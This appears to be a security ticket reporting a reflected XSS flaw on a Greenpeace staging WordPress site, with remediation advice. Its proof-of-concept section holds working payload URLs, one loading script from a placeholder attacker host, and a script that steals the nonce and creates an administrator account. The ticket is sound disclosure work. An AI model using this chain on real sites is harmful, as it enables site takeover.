-
Type:
Task
-
Resolution: Merged
-
Priority:
Should have
-
None
-
2
-
Security
-
Sprint #260, Sprint #261, Sprint #262, Sprint #263
-
titan
Summary
The application trusts user input without thoroughly sanitising dangerous characters. The input is then reflected back on to the page and executed in the victim's browser. Injecting malicious JavaScript can be leveraged to great effect to (among many other attacks) steal users' session token information, potentially leading to session hijacking, and redirect victims to an attacker-controlled phishing page.
Reflected Cross-Site Scripting (XSS) only affects the browser that it is executed in and does not affect other users of the application. The most likely attack vector to leverage this vulnerability would be to send a specially crafted link, containing malicious JavaScript to a victim. As a result of the social engineering requirement to exploit the aforementioned issue, the severity of this issue is reduced in comparison to when the payload is stored on the server.
The victim must be tricked into visiting a malicious page and/or into clicking a malicious link whilst authenticated to the application. Once the malicious page is loaded, a script running on the page will send a request to the application. This does not require any input from the user. The request inherits the identity and privileges of the victim to perform a function on the victim's behalf.
In this case, a payload can be build to form an embedded request within a URL, which may later be rendered in an administrator's browser. When the payload executes, it initiates a background HTTP request, using XMLHttpRequest or fetch, to the account creation endpoint of the application. Since the administrator is already authenticated, and the request is made from their browser, the server processes the action as if it were a genuine administrative request, resulting in the unauthorised creation of an attacker-controlled account.
The severity of the vulnerability has been increased as the attack leverages an administrative users privilege level, to invoke a script that creates an administrative user account.
Remediation Advice
In the short term, the affected inputs should be subject to an internal review to ensure that the key philosophies of cross-site scripting defence are adhered to:
- Validation: All variables that are affected should be processed through a code-flow that ensures only the expected types of data are entered. For example, a user's age would only need to be an integer, without alphabetic characters and would likely not need to be a float data type.
- Sanitisation: Data should be thoroughly sanitised when passed from an un-trusted data source. For example, dangerous HTML characters such as left/right angle brackets used to define HTML markup should be removed from data that is passed and used within any code-flow.
In addition to the above, where special characters are required, for example, an apostrophe in a name or quotation marks which represent a quote, the following principle should be followed:
- Output encoding: When outputting dangerous characters such as the above, output encoding should be undertaken. This allows for a distinction between code-based output and text-based output, resulting in the inability for an attacker to utilise the aforementioned to conduct such attacks.
Proof Of Concept
As an initial test, the following XSS payload was used:
https://www-stage.greenpeace.org/international/?s=%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&orderby=_score
For an attacker to futher leverage this vulnerability, they would first need to craft an XSS payload within a URL. This URL can include an external JavaScript source similar to the one below:
https://www-stage.greenpeace.org/international/?s=%3Cscript+src%3D%22https%3A%2F%2FattackerURL%2Ftest.js%22%3E%3C%2Fscript%3E&orderby=_score
An attacker-controlled web server would need to be hosting some malicious JavaScript that invokes the WordPress "Add user" functionality. As part of the testing, the following script was used:
// Make a GET request to "/wp-admin/user-new.php" to fetch CSRF token var stage1 = new XMLHttpRequest(); stage1.open("GET", "https://www-stage.greenpeace.org/international/wp-admin/user-new.php", false); stage1.send(); console.log("Sent request"); // Extract the CSRF token var csrf_token = stage1.responseText.match(/id="_wpnonce_create-user"[\s\S]*?value=(.*?)"/)[1]; console.log("Token: " + csrf_token); // Prepare and send POST request to create a user var stage2 = new XMLHttpRequest(); stage2.open("POST", "https://www-stage.greenpeace.org/international/wp-admin/user-new.php", false); stage2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); var postData = "action=createuser" + "&_wpnonce_create-user=" + encodeURIComponent(csrf_token) + "&_wp_http_referer=%2Finternational%2Fwp-admin%2Fuser-new.php" + "&user_login=" + encodeURIComponent("attackerusername") + "&email=" + encodeURIComponent("attackeremail@domain.com") + "&first_name=" + encodeURIComponent("attacker") + "&last_name=" + encodeURIComponent("attacker2") + "&url=" + "&pass1=" + encodeURIComponent("test") + "&pass2=" + encodeURIComponent("test") + "&pw_weak=on" + "&send_user_notification=1" + "&role=administrator" + "&createuser=Add+New+User"; stage2.send(postData); console.log("POST sent"); if (stage2.responseText.includes("attackerusername")) { console.log("The user has been successfully created!"); } else { console.log("User creation may have failed or requires manual verification."); }